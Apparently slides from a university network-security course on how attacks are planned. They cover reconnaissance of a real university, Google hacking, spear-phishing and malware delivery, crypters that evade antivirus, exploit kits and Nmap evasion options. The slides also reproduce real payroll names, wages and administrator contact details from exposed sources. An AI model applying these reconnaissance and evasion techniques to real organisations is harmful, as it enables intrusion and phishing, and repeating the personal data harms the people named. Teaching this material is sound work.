

## Course Outline

- A. The Internet, TCP/IP, and PANs, LANs, CANs, MANs, & WANs
- B. Ping sweeps, port scans, traceroute, & OS fingerprinting
- C. Attacker Profiles
- D. Attack Points
  - Human access
  - Physical access
  - LAN (insider) access
  - Remote (Internet) access
  - Wireless access

} Overview of who they are and where they get in....

**E. Anatomy of an Attack**

- Step 1: Target survey**
- Step 2: Vulnerability assessment
- Step 3: Vulnerability exploitation
- Step 4: Maintaining access/persistence
- Step 5: Covering tracks

F. Physical access attacks

G. The future: emerging technologies

Now its 'How'



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### The Anatomy of an Attack

1: Target survey (Google, Nmap, etc.)

2: Vulnerability assessment (Nessus)

3: Exploit (server vulnerability)

4: Maintain Access (backdoor)

5: Cover tracks

Attack Points

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### Anatomy of an Attack

Requirements > Survey > Tool > Collection > ....

Real world attackers seldom have a single target in mind – they cast their nets widely (e.g. using bots), collect, and then separate the wheat from the chaff.

Somewhat Deprecated

The attacker “requires” credit card numbers, etc.

Shotgun approach	- less skill
Focused approach	- high value targets

Attack Points

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## Target survey

**Step 1 Target Survey (Information Gathering)**  
Attacker is preparing for Remote (Internet-based) Attack

- What questions might an attacker ask a target insider? How could they ask them?
- What ways might an attacker get a tool on a computer in a target LAN?
- What is it an attacker wants?
- Why can't an attacker just use the Internet to "send" a tool to the target computer?



## Step 1: Target survey

**The top ~10 things an attacker might want to know**

- Who works at the target, and on the network?
- Does the target have a website? Hosted?  Geolocate
- Where is the target - country/region/city/neighborhood
- Target communicates with – vendors & partners?
- What IP addresses does the target use?
- Are the target's IP addresses static or dynamic?
- Is the target's ISP relevant?
- What devices are exposed to the Internet?
- What device vulnerabilities are unpatched? Exploitable?
- How do I access target's storage?
  - ◆ Wired? Wireless? VSAT? WiMAX? Wi-Fi?
- What is the local infrastructure?
  - ◆ Wired? Wireless? VSAT? WiMAX? Wi-Fi?



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## Step 1: Target survey

**Why does an attacker want to know these things?**

- Who – The more known - easier it is to social engineer"
- Website – Staff, email addresses, reports, org charts
- Location – Might there be legal issues? Bandwidth issues?
- Alliances – Exploit trust relationships
- Computers – These are the remote targets
- IP addresses – To be scanned for vulnerabilities
- ISP relevance – Social engineer the ISP?
- Vulnerabilities – This is why the IP addresses are needed
- Static or dynamic IP addresses – fw conduits to servers
- Infrastructure – Are edge routers vulnerable?
- Wired, Wireless, VSAT, WiMAX, Wi-Fi – Vulnerabilities!



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## Step 1: Target survey

**It all starts with research!**

- Not for script kiddies
- But a must for targeted attacks
- Info gathering tools:
  - ◆ Target's website
  - ◆ Google hacking
  - ◆ www.arin.net
  - ◆ network-tools.com
  - ◆ www.netcraft.net
  - ◆ LinkedIn, Facebook, etc. (Mapping tools)
  - ◆ tntc



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## Information Recon Sources

- Open Source
  - ◆ Web
    - Social Media
  - ◆ Company Website
  - ◆ FCC
  - ◆ Patents
  - ◆ Legal filings
- Past/Current employees
- Industry knowledge
  - ◆ Trade shows
  - ◆ Publications



Attack Points

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## Modern Approach

- Defined targets
- Defined goals
- Sufficient intelligence available for success
- Network attack goal example (business sector)
  - ◆ Primary
    - Information assets (trade secrets)
  - ◆ Secondary
    - Competitive business information
    - Persistence for future attacks

Attack Points

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## Reconnaissance

- Find the target's network surface area
  - ◆ IP ranges, domains
  - ◆ Target's infrastructure providers
  - ◆ Their business partner's infrastructure providers
    - Whois, ARAN lookup, news
  - ◆ Enumerate all services
    - Typical scanning but intelligently
    - Banners, web apps, bad security
- Learn the business relationships
  - ◆ Learn how their network makes business flow

*Use all of your Hacker Foo to achieve recon goal!*

Attack Points

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## Reconnaissance


- Discover primary apps for each business unit
  - ◆ Single out business units - use exploits designed for those applications
- Data mine target & business partners public website
- Is the target already compromised?
  - ◆ Who?
  - ◆ Need to evade detection from target
  - ◆ Need to evade detection from other hackers
- Goal is to build a model for all points of entry
- NOT to exploit the first or easiest security hole.  
*Detailed planning...the mark of a professional*

Attack Points

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## Social Reconnaissance

- Conferences/expos, Local Bar, Local Eateries
- Find/Build organizational chart
- Publication search
- Presentation search
- LinkedIn, etc.
- Facebook
- Help wanted?
- Media



Attack Points

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## Attack Reconnaissance

Email reconnaissance

- Legitimate correspondence with target users for making email cribsheets
- Benign attacks to determine network security
- Disguised as Spam and Phishing
  - ◆ Track successful methods
- Gullibility of target users
- List of legit users vulnerable to attack



Attack Points

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## Infrastructure Recon

- Network routing and timing
  - ◆ Determine network layout
  - ◆ Determine security devices
  - ◆ IT blogs, news groups, expert sites
- Web apps
  - ◆ Check browser version and user agents
  - ◆ Find out what plugs-ins are supported
- Check the IP space they browse from
  - ◆ Do all go through one proxy?
- Individual Machines Used to Be Targets
  - ◆ Now They Are Resources  
*Segregate recon IP addresses from Attack IPs*

Attack Points

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## Defenses

<p>People</p> <ul style="list-style-type: none"><li>▪ How do you control<ul style="list-style-type: none"><li>◆ Facebook users</li><li>◆ blogosphere users</li><li>◆ Twitter users</li><li>◆ Cloud storage users</li><li>◆ Email/forum threads</li></ul></li><li>▪ Policy and Enforcement</li></ul>	<p>Technology</p> <ul style="list-style-type: none"><li>▪ Minimize Leakage</li><li>▪ Banners, Headers</li><li>▪ Limit PR<ul style="list-style-type: none"><li>◆ Invisible network</li></ul></li></ul>
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*Good luck with that*

Attack Points

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## Leakage Examples

[PDF] Oracle/Sun JRE Upgrade Instructions - CA.gov  
[www.dot.ca.gov/.../JREupgradeXP\\_JInitiator\\_Removal\\_Last\\_v2.pdf](http://www.dot.ca.gov/.../JREupgradeXP_JInitiator_Removal_Last_v2.pdf)  
File Format: PDF/Adobe Acrobat - Quick View  
The Oracle Corporation is no longer upgrading JInitiator for Windows operating ...  
Caltrans. You will not get this warning again if the box is checked. Click on the ...

Eberle Design Inc. | Products | Traffic | Inductive Loop Detectors  
[www.edtraffic.com/t\\_inductive-loop-detectors.html](http://www.edtraffic.com/t_inductive-loop-detectors.html)  
Oracle 2E Series: Two channel rack mount detector with LCD Display, 20 levels of ...  
CALTRANS 170/2070 TYPE - Vehicle / Intersection Detectors - Rack Mount ...

[PDF] Mobile TMC and MRM Communications System User Manual v1.2  
[www.dot.ca.gov/newtech/.../mobile\\_tmc\\_user\\_manual\\_v1-2.pdf](http://www.dot.ca.gov/newtech/.../mobile_tmc_user_manual_v1-2.pdf)  
File Format: PDF/Adobe Acrobat - View as HTML  
Caltrans New Technology, UC Irvine, California ... Router interface to the satellite earth terminals. .... modem, where it is presented to the far-side Cisco router.

Meet and Confer with the Department of Technology Services (DTS)  
» Caltrans WAN Diagram ([jpeg image](#))  
» May 2006 DTS Network Services ([Powerpoint](#))  
» May 2006 DTS Security Architecture ([Powerpoint](#))  
» May 2006 DTS UNIX Offerings ([pdf](#))  
» May 2006 DTS Web Services ([Powerpoint](#))  
» May 2006 DTS Windows Services ([Powerpoint](#))  
» May 2006 DTS IBM HTTP & WebSphere Services ([Powerpoint](#))

Project Site  
Attack Points 17

## Focused Targeted Attack

"The attacks are also very well researched..."  
"One targeted Trojan was sent to five employees at one company--every single person was a member of the firm's research and development team."

[www.securityfocus.com/news/11418/1](http://www.securityfocus.com/news/11418/1)

*All it takes is one weak link....*

Utah Medicaid breach from weak admin password exposes identity data of 780K residents...

Attack Points 18

## Email Attack

Who do you target?

- Marketing/Sales People
  - ◆ Distributed contact info at/for events
  - ◆ Product information
- Engineers
  - ◆ Product Experts
  - ◆ Limited customer contact
- Mid to High level execs
  - ◆ They have access
- Admin Assistants
  - ◆ Under paid, over worked

Attack Points 19

## You've Got Mail

- Email with attachment
  - ◆ Ask recipient to review contents of attachment
  - ◆ Use real document so person isn't tipped off
  - ◆ Use a vulnerability to drop an executable
  - ◆ Exe installs itself
  - ◆ Exe beacons to site you control
    - DNS, HTTPS, HTTP
- Phishing email
  - ◆ Spoofed from person A to person B with correct signature block
  - ◆ Email contains link to site you control
    - Steal client IP and account it was sent to

Attack Points 20

## You've Got Mail

- Limit the victim list
  - ◆ Know the IP range of targeted network
  - ◆ Work from recon of email addresses
- Different pages for different intended victims
  - ◆ New Product Announcement
    - Trojaned Document
    - Media presentation
    - "requires" a plugin ;-)
  - ◆ Financial info
    - Quarterly results contain exploit
    - Audio file of quarterly stock holders meeting requires a "special" player

Attack Points

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## Social Engineering

From: linkedin.com <message-wk881425ffjm55@linkedin.com>  
Subject: Mark Andronas at Payroll Processing wants to connect on LinkedIn  
Date: June 2, 2011 12:55:01 PM GMT+03:00  
To: Mickey Boodeai  
Reply-To: message-wk881425ffjm@linkedin.com

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### LinkedIn

I'd like to add you to my professional network on LinkedIn.  
- Mark Andronas

Neal Collins  
Vice President, Strategy & Corporate Development at Payroll Processing  
Greater Chicago Area

**Confirm that you know Neal**

© 2011, LinkedIn Corporation

Attack Points

Confirm button takes browser to salesforceappi.com for ZeuS variant dropper

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## Hiding The Backdoor

- Rootkit isn't necessary
  - ◆ Have backdoor blend in
  - ◆ Make sure AV doesn't detect it (**FUD**)
    - Build it specifically for the target
    - Only send it to the targeted company
    - Change time stamps (can't search on time)
    - Hook other critical processes
      - Explorer
      - Svchost




FUD? FUD! Lets see how...

Attack Points

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## FUD

- Fear, Uncertainty and Doubt – marketing, PR
- First: IBM used FUD against Amdahl in 1975
- Fully Un-Detectable software – A/V can't detect
- AV tools use signature detection
- Cryptors
  - ◆ Obfuscate malicious exe file payload
  - ◆ Use unique key each time
  - ◆ Combine it with a small stub program
  - ◆ Stub decrypts and runs payload
  - ◆ If in sandbox – payload won't run



Attack Points

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## Binders

Binders package the 'toolbar' with other files into a single executable file that can't be taken apart.

"S-binder Pro is a powerful software binder, bundler and package creator. Create and distribute your software bundles with ease! S-binder has some fantastic features including:

- ◆ The ability to mass bind all files in a given directory, and all of its sub directories.
- ◆ Icon extraction and replacement
- ◆ Can download additional files as needed
- ◆ **Bind any files into one .exe**
- ◆ Secure binding option (files can't unpack)"
- ◆ "If your (sic) looking to create software bundles or portable applications for whatever reason then S-Binder Pro is the only solution you will ever need!"

Attack Points 25

## Downloaders

The downloader accesses remote websites to download/install malicious, checks with C&C host

- Web interface tracks infected computers statistics
- Interface to make infected PC a proxy, attacker can funnel malicious network traffic through it
- Can download updates, additional malware, & tools to the infected computers



Attack Points 26

## SEO Auto Submitter

### XRumer Auto-submitter

- Posts to forums, guestbooks, catalogs, etc.
- Can avoid suspicious forum admins by first registering and posting "Where can I get...?"
- Registers another account to post a spam link mentioning product
- Helpful forum visitors may Google for product and post a link to help out - increasing product's Google stats
- Activation key to prevent piracy




Attack Points 27

## SEO Auto-Submitter

### XRumer Auto-submitter

- Can recognize CAPTCHA's  
*"Completely Automated Public Turing test to tell Computers and Humans Apart"*
- Using CAPTCHA's it can create new accounts



Attack Points 28

## Hosting Farms


- CPanel exploits – monoculture makes it easy
- Once in – install an **Exploit Package**
- Original site is still present – w/extral folders
- Kits make it point and click - anyone can do it
- Kits lower the bar – no skills needed
- Typically contain a collection of exploits to try
  - ◆ Crimepack – free and paid versions
  - ◆ SEO Sploit Pack
  - ◆ Eleonore \$500-\$1000
    - 12/11 DoubleClick, MSN
    - Drive-by Ads w/malware

[Attack Points](#) 29

## Exploit Packs

Logon screen

Sample statistics report

[Attack Points](#) 30

## Citadel Trojan

- Zeus source code leaked – spawned Citadel late 2011
- Open source model – contributions – rapid development
- Basic Citadel package: bot builder, botnet admin panel
- Was \$2,399 Now \$3,391 + \$125 monthly "rent"
- \$395 auto-update antivirus evasion module
- Includes a trouble ticket system, peer forums
  - ◆ To cut down on tech support costs



[Attack Points](#) 31

## Tools

- A dark software industry
- Uses same business model as MS, Apple, etc.
- Malware: Lite, Standard, Professional, Ultimate
- Subscription model for updates
- Authentication to control theft
- Lowers the skill needed (hello Script Kiddies)
- Malware Software as a Service



[Attack Points](#)



## Back To Target Survey

- Another type of Target Survey
- This one is merely a scam

Active 12/2012

- Harvests personal information
- Subscribes mobile phones to expensive services
- Results in junk calls, email
- SPAMS Facebook contacts

Attack Points

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## Step 1: Target survey

- Check Facebook, LinkedIn, Twitter for management info
- Go to Google Web & Google Groups for...
  - ◆ Alliances
- Go to Google PPT, Doc, & spreadsheet searches for...
  - ◆ Organizational structures
- Go to www.internic.net or http://network-tools.com for...
  - ◆ Contact information & domain names

- Google search enhancers:
  - ◆ + ~ (synonym) OR "
  - ◆ site: link: filetype: phonebook:
  - ◆ SafeSearch (no adult sites) (Google SEO poisoning)

Attack Points

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## Step 1: Target survey

### Google Hacking!

#### Learning how to optimize searches

- While Google is a researcher's friend, it's an attacker's dream
- Many networks have inadequate security, giving Google access to sensitive information
- Search spiders crawl the web, following links
- Consider what it was like before them  
*Chaos!*

Attack Points

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## Google Hacking

- Google hacking – for exploitable targets and sensitive data by using search engines – e.g. Google
- Google Hacking Database (GHDB) is a (dated) database of queries that identify sensitive data
- Google Hacking Database categories:
  - ◆ Advisories and server vulnerabilities
  - ◆ Error messages containing too much information
  - ◆ Files containing passwords
  - ◆ Sensitive directories
  - ◆ Pages containing logon portals
  - ◆ Pages containing network data (e.g. firewall logs)

Attack Points

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## Google Hacking

- Use to perform security scans against your public-facing servers - Windows, IIS, Apache and SQL Server. Profile servers, find files containing sensitive information and detect "hidden" login pages, server log files and more. Use it to look for offensive words or images.
  
- site: search site for search\_term
- file: search for file type
- link: search within links for search\_term
- cache: shows how page appeared – provide url
- intitle: search within document <title></title>
- inurl: search only within the url for search\_term

[Attack Points](#)

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## Google Hacking

Web Images Video News Maps more »

"using password" "access denied for user' site:ibm.com

[Advanced Search](#) [Preferences](#) [Language Tools](#)

[Google Search](#) [I'm Feeling Lucky](#)

**ERROR 1045 (28000)**  
Originally posted: 2006 Oct 10 04:00 PM

Hello,  
Listing 5. Importing default Drupal SQL database.  
For:  
C:\eclipse\workspace\drupal\_development> mysql -u drupal\_user -p drupal\_db  
< database/database\_4.1.mysql

I received the following answer:  
ERROR 1045 (28000): Access denied for user 'drupal\_user'@'localhost' (using password: YES)

Could someone give me a hint, please?  
I am stuck here with this tutorial.

The password is correct. It worked for:  
C:\Documents and Settings\Administrator> mysql -u root -p mysql

Thanks,  
Adrian

[Attack Points](#)

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## More Google Hacking

### Google - Search IBM's website for PPT's

Google Search: site:ibm.com filetype:ppt - Microsoft Internet Explorer

Address: A:\Google Search- site:ibm.com filetype:ppt.html

Web Results 11 20 of about 522 from ibm.com for filetype:ppt. (0.08 seconds)

**[PPT] Embedded Concatenative**  
File Format: Microsoft Powerpoint 97 - [View as HTML](#)  
Embedded Concatenative. Text-to-Speech (ECTTS). Telecom and Media Systems Group.  
November 2002. Background. Why is this required? Pervasive ...  
[www.haifa.il.ibm.com/projects/multimedia/recovc/ITS/ectts.ppt](#) - Supplemental Result - [Similar pages](#)

**[PPT] Business Position Model**  
File Format: Microsoft Powerpoint 97 - [View as HTML](#)  
IDM logo must not be moved, added to, or altered in any way. Background should not be modified. Title/subtitle/confidentiality line ...  
[www.developer.ibm.com/...\\$/file/decision\\_support\\_plan\\_completed\\_example\\_09012003.ppt](#) - [Similar pages](#)

[Attack Points](#)

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## More Google Hacking

### Google - Search IBM's website for Word docs

Google Search: site:ibm.com filetype:doc - Microsoft Internet Explorer

Address: A:\Google Search- site:ibm.com filetype:doc.html

Web Results 101 - 110 of about 726 from ibm.com for filetype:doc. (0.17 seconds)

**[DOC] do you know anything about "exclusive lock waits" there are some ...**  
File Format: Microsoft Word 6 - [View as HTML](#)  
dn ynu knw anything abnout "exclusive lock waits" there are smne lnks that last forever... and i cnaot reach some records in MSEG table. what shoul i do... ...  
[www-912.ibm.com/s\\_dir/SAPDiscuss.nsf/0/635c48630b33c07686256a42002865df/\\$FILE/Belge1.doc](#) - Supplemental Result - [Similar pages](#)

**[DOC] IBM Authorized Business Partner**  
File Format: Microsoft Word 97 - [View as HTML](#)  
IBM Authorized Value Partner. Solution Register Form. IBM

[Attack Points](#)

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## More Google Hacking

Google - Search IBM's website for spreadsheets...

The screenshot shows a Microsoft Internet Explorer window with the address bar containing "A:Google Search- site:ibm.com filetype:xls.html". The results page displays 51-60 of about 203 items found. Two links are visible:

- [xls](http://www.pc.ibm.com/it/otherfiles/2T03062003.xls) File Format: Microsoft Excel - [View as HTML](#)
- [xls](http://www-1.ibm.com/financing/pdf/partner/FeuilledeTravailduCFCv1.5.xls) File Format: Microsoft Excel - [View as HTML](#)

Attack Points 41

## More Google Hacking

Spreadsheets found...

The screenshot shows a Microsoft Internet Explorer window displaying a payroll spreadsheet titled "FREMONT SCHOOL DISTRICT PAYROLL 2004-2005". The table lists employee names, gross wages, and other details.

EMPLOYEE	GROSS WAGE	EMPLOYEE	GROSS WAGE
Abigail Almon	\$140.00	Robert Ficker	\$900.00
Debra Almon	\$53,477.24	Sherri Ficker	\$17,400.92
Donna Baker	\$27,621.51	Jeanne Finney	\$140.00
Raymond Bernier	\$70.00	Catherine Fitzgerald	\$7,416.62
Lisa Begley	\$1,900.00	Lee Fitzgerald	\$14,080.14
Janice Black	\$29,685.96	Mark Foley	\$70.00
Theresa Bridges	\$1,900.00	Leslie Flynn	\$34,000.00
Andy Blake	\$1,966.16	Janet Fortin	\$140.00
Denise Bissonnette	\$6,383.07	Gine Genest	\$46,028.07
Kristine Boardman	\$36,366.22	Deborah Gobell	\$49,370.06
Robin Bolton	\$630.00	James Gough	\$46,106.66
Jennifer Bolster	\$325.80	Sonia Gonzalez	\$45,816.01
Corey Brackett	\$13,827.20	Diane Gray	\$46,873.06
Scott Brown	\$43,570.00	Mary Guidoboni	\$1,500.00
Jason Butler	\$4,570.00	Mary Hayes	\$1,000.44
Margaret Callahan	\$3,010.00	Brenda Hamel	\$175.00
Cheyl Catanzaro	\$44,680.95	Benjamin Hayes	\$140.00
Frances Chickering	\$1,200.00	Danielle Hill	\$70.00

Attack Points

## More Google Hacking

Spreadsheets found...

The screenshot shows a Microsoft Internet Explorer window displaying a payroll spreadsheet titled "MRCA Payroll Disbursement November 2004". The table lists check numbers, dates, employee numbers, and gross pay.

Check Number	Check Date	Employee Number	Gross Pay
9011803	11/4/2004	6	2,009.11
9011763	11/4/2004	13	2,022.07
9011833	11/4/2004	15	940.80
9011765	11/4/2004	19	1,828.00
9011766	11/4/2004	21	1,495.20
9011770	11/4/2004	22	2,526.40
9011771	11/4/2004	24	996.80
14372	11/4/2004	25	1,422.31
9011817	11/4/2004	26	2,291.20

Attack Points 43

## More Google Hacking

Spreadsheets found...

The screenshot shows a Microsoft Internet Explorer window displaying a payroll spreadsheet titled "Indiana Covered Employment and Payrolls". The table lists monthly and quarterly payroll data by county.

County	Monthly Employment			Quarterly Payroll		Average Weekly Earnings	
	April	May	June	All Industries	All Industries	Manufacturing	
Total	2,842,550	2,867,330	2,853,350	\$24,461,443,470	\$659.00	\$897.00	
Adams	14,550	14,790	14,940	\$103,425,880	\$539.00	\$678.00	
Allerton	177,620	179,390	176,120	\$1,534,029,840	\$664.00	\$924.00	
Allen	41,340	41,340	41,340	\$100,000,000	\$460.00	\$691.00	
Benton	2,490	2,520	2,480	\$15,447,660	\$476.00	\$522.00	
Blackford	4,130	4,140	4,160	\$27,052,050	\$502.00	\$640.00	
Boone	17,620	17,860	17,930	\$136,633,830	\$590.00	\$798.00	
Brown	3,000	3,100	3,000	\$10,700,000	\$517.00	\$517.00	
Carroll	5,170	5,260	5,380	\$33,111,550	\$493.00	\$570.00	
Cass	15,760	15,840	15,780	\$107,556,100	\$524.00	\$609.00	
Clark	43,570	44,030	44,460	\$331,592,400	\$579.00	\$767.00	
Crawford	7,470	7,470	7,540	\$46,000,000	\$500.00	\$600.00	
Clinton	10,940	11,080	11,210	\$83,583,090	\$581.00	\$768.00	
Crawford	2,240	2,280	2,240	\$14,295,130	\$488.00	Confidential	
Daviess	10,740	10,870	10,520	\$67,841,440	\$487.00	\$491.00	
Decatur	14,480	14,850	14,590	\$10,888,170	\$507.00	\$571.00	
Decatur	12,400	12,470	12,530	\$92,450,250	\$571.00	\$571.00	

Attack Points 44

## Google Hacking

- Googled: "place of death" ssn
- And got 49,000 hits like this one:

Attack Points

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## News!

**Common VOIP attacks worked for duo that stole \$1 million worth of voice minutes** 8/2007 www.computerworld.com

A combination of simple dictionary and brute-force attacks in **combination with Google hacking** enabled a criminal pair to break into VOIP-provider networks and steal US\$1 million worth of voice minutes. A 23 year-old Spokane hacker wrote generic software to run brute-force attacks against Cisco XM routers and Quintum Tenor voice gateways to gain access and route calls through them. Routing calls through business network VOIP gateways hid that the calls came from equipment owned by the mastermind behind Moore's activity.

Attack Points

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## Target Survey

The Wayback Machine: [www.archive.org](http://www.archive.org)

Attack Points

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## uop.edu April 11, 2001

Attack Points

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**Target survey**

Information on individuals might be found at:

- [www.monster.com](http://www.monster.com)
- [www.hotjobs.com](http://www.hotjobs.com)
- Google's Groups
- LinkedIn

Search on: "Top secret security clearance"


Attack Points 49


**Images**

2013 class


PACIFIC

Security? Wine!

Previous classes

Attack Points 50



Monetizing data aggregation  
Quality varies – typically have access to data that search engines can't get to


Select Search Type:  
[Advanced People Search](#)  
[Background Check](#)  
[Criminal Search](#)  
[Sex Offenders](#)  
[Business Search](#)  
[Corporation Index](#)  
[FRN Index](#)  
[Employment Search](#)  
[People in Business](#)  
[Professional Licenses](#)

First Name: Middle Initial: Last Name: Birth Date: (MM/DD/YYYY) City: State: Select a state... Age: Get Results

Search 10 databases and 2,268,819,679 records in a single search. Databases searched include real property records, voters' registration, current and historical phone records, magazine subscriptions, change of address, national drivers and other proprietary databases.

View Sample Report

Attack Points 51



Address	City, State	Possible Relatives
Available	STOCKTON, CA BAKERSFIELD, CA	Possible Relatives: <a href="#">KING, JOAN LEMMON (Age 77)</a> <a href="#">KING, DARE ELIZABETH (Age 70)</a> <a href="#">WILLIAMS, GENNIFER L (Age 32)</a> <a href="#">KING, BILLY PAT (Age 76)</a> <a href="#">KING, PATRICIA A (Age 100)</a> <a href="#">KING, JAMES J</a> <a href="#">KING, ROBERT R</a> <a href="#">WILLIAMS, GENNIFER (Age 32)</a>

Entered Joe King ...  
For \$10 - \$60, you get more information.

Attack Points 52

## Target survey

For an attacker to run ping sweeps, port scans, and vulnerability tests, they need:

- POC information (for social engineering)
- Targets IP address ranges
  - ◆ network-tools.com
- Other server IP addresses (Web, email, SQL)
  - ◆ Get them from www.netcraft.net
- Name server (DNS) IP addresses
  - ◆ Get them from network-tools.com

Many sites listed in 2010 are no longer providing data without registration or membership. Why is that?

Attack Points 53

## Target survey

- Why do attackers “Google hack”?
- Why do they go after ARIN Information?
- Target’s physical address, phone number
- POC name, email address, phone number
- Spear phishing! - emails target specific company
- Social engineering!
- Password guessing!
- Wireless scanning!
- They might also pick up some network hardware or software information...

Attack Points 54

## Target survey

- IP Range & POC

Attack Points 55

## POC and IP Netblocks

**pacific.edu**

138.9.110.12 is from United States(US) in region North America

Whois query for 138.9.110.12

NetRange: 138.9.0.0 - 138.9.255.255  
CIDR: 138.9.0/16  
OriginAS:  
NetName: UOP  
NetHandle: NET-138-9-0-0-1  
Parent: NET-138-0-0-0  
NetType: Colo Assignment  
NameServer: NS2.PACIFIC.EDU  
NameServer: NS1.PACIFIC.EDU  
RegDate: 1990-01-17  
Updated: 2007-09-07  
Ref: http://whois.arin.net/rest/net/NET-138-9-0-0-1

OrgName: University of the Pacific  
OrgID: IUNIVER-95  
Address: 3601 Pacific Ave.  
City: Stockton  
StateProv: CA  
PostalCode: 95211  
Country: US  
RegDate: 1990-01-17  
Updated: 2008-03-27  
Ref: http://whois.arin.net/rest/org/IUNIVER-95

**Point Of Contact**

OrgTechHandle: DAVEA-ARIN  
OrgTechName: Lundy, Dave A  
OrgTechPhone: +1-209-946-3951  
OrgTechEmail: dlundy@pacific.edu  
OrgTechRef: http://whois.arin.net/rest/poc/DAVEA-ARIN

**Abuse Handle – Dave Lundy**  
**Technical Handle - is Senior Network Architect**

Attack Points 56

## Target survey

DNS servers  
ns1.pacific.edu [138.9.1.21]  
ns2.pacific.edu [138.9.1.22]

**Answer records**

pacific.edu	SOAserver	ns1.pacific.edu86400s
	email	hostmaster@pacific.edu
	serial	20110110000
	refresh	1200
	retry	3600
	expire	604800
	minimum ttl	86400
pacific.edu	TXT v=spf1 mx ~all	86400s
pacific.edu	MX preference:	10 3600s
pacific.edu	exchange:	mx30.pacific.edu
pacific.edu	MX preference:	10 3600s
pacific.edu	exchange:	mx40.pacific.edu
pacific.edu	MX preference:	10 3600s
pacific.edu	exchange:	mx10.pacific.edu
pacific.edu	MX preference:	10 3600s
pacific.edu	exchange:	mx20.pacific.edu
pacific.edu	NS	ns1.pacific.edu
pacific.edu	NS	ns2.pacific.edu
pacific.edu	A	138.9.110.12

**Authority records**

Additional records	mx10.pacific.eduA	138.9.240.95	86400s
	mx20.pacific.eduA	138.9.110.64	86400s
	mx30.pacific.eduA	138.9.110.74	86400s
	mx40.pacific.eduA	138.9.110.107	86400s
	ns1.pacific.edu A	138.9.1.21	86400s
	ns2.pacific.edu A	138.9.1.22	86400s

**Attack Points**

57

**Mail Exchanger MX records**



## Current Postings

From 2/5/13 Vacancy posting – potential position targets

- Director of IT Client Services \$69-\$119K
- Assistant Director, Systems Engineering Services for support of server infrastructure \$60- \$102K
- Risk Compliance Officer \$60- \$102K
- Enterprise Applications Developer III - IDMS \$24-41 hr (IDMS Identity Management System (max ~\$85K))
- Web Applications Developer \$41-\$67K
- Engineer II Digital Media Technology Services \$41-\$67K
- COP - Technical Support Specialist II \$15-\$25 hr
- IT Technical Support Specialist I \$14-\$22 hr
- Web Communications Manager - \$depends on experience

**Attack Points**

58

## Compare To Intern Salaries

02/2013 Business Insider –Lowest (intern) adjusted to 1 yr

▪ Cisco	\$47K	
▪ IBM	\$47K	
▪ EMC	\$48K	HP and DELL the same
▪ NetApp	\$55K	Autodesk and Qualcomm same
▪ Intel	\$57K	
▪ Apple	\$59K	
▪ Yahoo	\$62K	NVIDIA the same
▪ Amazon	\$64K	
▪ Google	\$68K	
▪ Adobe	\$69K	LinkedIn the same
▪ Microsoft	\$71K	
▪ Facebook	\$72K	
▪ VMWare	\$78K	

**Attack Points**

59

## Target Survey

[www.netcraft.com](http://www.netcraft.com) search on .pacific.edu  
(Feb. 3, 2013 – uptime 37 days)

**Results for .pacific.edu**

Site	Site Report	First seen	Netblock	OS
1. web.pacific.edu	<a href="#">Report</a>	march 2007	university of the pacific	windows server 2003
2. www.pacific.edu	<a href="#">Report</a>	january 2001	university of the pacific	windows server 2003
3. www1.pacific.edu	<a href="#">Report</a>	july 2005	university of the pacific	freebsd
4. web.ebscohost.com.ezproxy.pacific.edu	<a href="#">Report</a>	august 2010	university of the pacific	linux

**Attack Points**

60

**Target Stalking**


Netcraft's: 'Whats that site running' results

Netblock Owner	IP address	OS	Web Server	Last changed
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.17	Windows Server 2008	Microsoft-IIS/7.5	28 Sep 2012
University of the Pacific J601 Pacific Ave. Stockton CA US 95211	138.9.110.12	Windows Server 2008	Microsoft-IIS//5	1-Jan-2012
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.12	Windows Server 2003	Microsoft-IIS/6.0	23-Jan-2011
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.12	Windows Server 2003	Microsoft-IIS/G.0	28-Mar-2008
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.12	Windows Server 2003	Microsoft-IIS/6.0	6-Nov-2007
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.12	Windows Server 2003	Microsoft-IIS/6.0	12-Dec-2006
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.12	Windows Server 2003	Microsoft-IIS/6.0	6-Sep-2006
University of the Pacific 3601 Pacific Ave. Stockton CA US 95211	138.9.110.17	Windows Server 2003	Microsoft-IIS/6.0	31-May-2005
University of the Pacific J601 Pacific Ave. Stockton CA US 95211	138.9.110.17	Windows 2000	Microsoft-IIS/5.0	19-Dec-2001
University of the Pacific J601 Pacific Ave. Stockton CA US 95211	138.9.1.11	NT4/Windows 98	Lotus-Domino/J.U.8	19-Sep-2001
<b>Attack Points</b>				61



# Course Outline

- A. The Internet, TCP/IP, PANs LANs, CANs, MANs, & WANs
- B. Ping sweeps, port scans, traceroutes, & OS fingerprinting
- C. Attacker Profiles
- D. Attack Points
- E. **Anatomy of an Attack**
  - Step 1: Target survey
    - ◆ Survey tools: website, Google, arin.net, etc.
    - ◆ **Surveying networks with remote access: Nmap**
  - Step 2: Vulnerability assessment
  - Step 3: Vulnerability exploitation
  - Step 4: Maintaining access/persistence
  - Step 5: Covering tracks
- F. Physical access attacks
- G. The future: emerging technologies







Attack Points

**Surveying Networks**

Nmap can be ran with:

- Command Line Interface
- Zenmap GUI
- Experts understand the dozens of scan techniques and choose the appropriate one (or combination) for a given task. Inexperienced users and script kiddies, on the other hand, try to solve every problem with the default SYN scan.



## More Nmap Options

- sV Scan versions – Determine particular service and, if possible, its version number
- O OS identification - use TCP/IP fingerprinting
- P0 Don't ping hosts (some firewalls block pings)
- v Verbose. Use twice for greater effect (-vv)
- h Help, print the help menu
- f Fragment the scan packets, avoiding IDSs
- g <port> Spoof your (source) port - 53 is good because it looks like a DNS response!
- S <IP> Spoof your (source) IP address – but someone else gets the response!

Attack Points 69

## Still More Nmap Options

- D Decoy scan - creates decoys (using spoofed IP addresses) along with your IP address - even if the target detects the scan, they are unlikely to know which IP is really scanning them and which are decoys
- sA ACK scan - test firewall rule-bases - an ACK packet will always receive a RST packet in response, which does NOT tell you if the port is opened or closed. However, it does tell you if the packet got through the firewall, which is the goal of this scan.

More on the ACK (firewall) scans later...  
Attack Points 70

## Networking Lab


- IP address ranges and Attack Surfaces (target computers) may differ in some of the slides.
- In the current lab topology (2012-2013+)
  - ◆ 192.168.11.2-9 Physical attack surfaces
